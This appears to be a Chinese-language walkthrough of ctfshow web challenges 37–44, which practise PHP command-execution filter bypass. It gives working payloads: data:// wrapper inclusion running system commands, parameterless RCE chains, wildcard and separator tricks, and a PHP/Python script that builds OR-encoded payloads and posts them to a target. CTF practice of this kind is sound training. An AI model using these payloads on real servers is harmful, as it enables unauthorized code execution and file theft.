web37-44

web37

开启容器,题目提示

1
命令执行,需要严格的过滤

变量c直接被包含了

可以用data://伪协议
当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
php配置需要allow_url_fopen,allow_url_include均为on

1
2
payload1: ?c=data://text/plain,<?php system("cat f*")?> //查看flag.php,右键源码中查找flag 
payload2: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

payload1

payload2

web38

开启容器,题目提示

1
命令执行,需要严格的过滤

除了flag、file也被过滤了

同样payload

1
payload: ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

开启容器,题目提示

1
命令执行,需要严格的过滤

?c=data://text/plain,<?php%20system("cat%20f*")?>

data://text/plain这样就相当于执行了php语句,其实本次添加后缀不起作用

在 PHP 中,data://text/plain 是一种数据 URI 方案,用于将数据嵌入到代码中,而不需要引用外部文件。它允许你直接在代码中定义数据,PHP 可以像处理普通文件一样处理这些数据。
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

$flag="ctfshow{**}";.php

$flag="ctfshow{1625ce72-7342-49a3-8e2b-5492981d6e3c}";.php

web40

开启容器,题目提示

1
命令执行,需要严格的过滤

发现“.”都被被过滤
但是括号很细节,是中文的,所以可以用英文括号
只能利用无参数命令执行

函数:print_r(scandir('.'))可以用来查看当前目录所有文件名
接下来需要将括号中的.替代掉

1
2
3
4
5
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));
//以上函数均可查看当前目录文件

找到flag.php

flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()函数以相反的元素顺序返回数组,在用next()函数读取下一个元素,最后通过highlight_file()函数读取到flag.php

payload:c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

同时可以用无参数RCE

?c=eval(end(current(get_defined_vars())));&b=system('ls');

web41

开启容器,题目提示

1
**过滤不严,命令执行**

数字、字母都不能用,可以直接用异脚本构造
其中按位异 | 没有过滤

运用脚本

rce_or

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

$myfile = fopen("rce_or.txt", "w");

$contents="";

for ($i=0; $i < 256; $i++) {

    for ($j=0; $j <256 ; $j++) {



        if($i<16){

            $hex_i='0'.dechex($i);

        }

        else{

            $hex_i=dechex($i);

        }

        if($j<16){

            $hex_j='0'.dechex($j);

        }

        else{

            $hex_j=dechex($j);

        }

        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';

        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){

                    echo "";

    }

        else{

        $a='%'.$hex_i;

        $b='%'.$hex_j;

        $c=(urldecode($a)|urldecode($b));

        if (ord($c)>=32&ord($c)<=126) {

            $contents=$contents.$c." ".$a." ".$b."\n";

        }

    }



}

}

fwrite($myfile,$contents);

fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-

import requests

import urllib

from sys import *

import os

os.system("php rce_or.php")  #没有将php写入环境变量需手动运行

if(len(argv)!=2):

   print("="*50)

   print('USER:python exp.py <url>')

   print("eg:  python exp.py http://ctf.show/")

   print("="*50)

   exit(0)

url=argv[1]

def action(arg):

   s1=""

   s2=""

   for i in arg:

       f=open("rce_or.txt","r")

       while True:

           t=f.readline()

           if t=="":

               break

           if t[0]==i:

               #print(i)

               s1+=t[2:5]

               s2+=t[6:9]

               break

       f.close()

   output="(\""+s1+"\"|\""+s2+"\")"

   return(output)

while True:

   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))

   data={

       'c':urllib.parse.unquote(param)

       }

   r=requests.post(url,data=data)

   print("\n[*] result:\n"+r.text)


跑脚本只需要http即可,防止ssl证书导致脚本中断

web42

开启容器

1
命令执行,需要严格的过滤

回显黑洞,直接间隔开命令即可

/?c=cat%20flag.php;ls

web43

开启容器

同样的黑洞,只过滤cat,可以用tac
;被过滤,|| &&这两个可以进行截断代替,但需要注意的是&&需要进行url编码,这样才能成功执行:

/?c=tac%20flag.php||ls

web44

开启容器

flag也被过滤

/?c=tac%20fla?.php||ls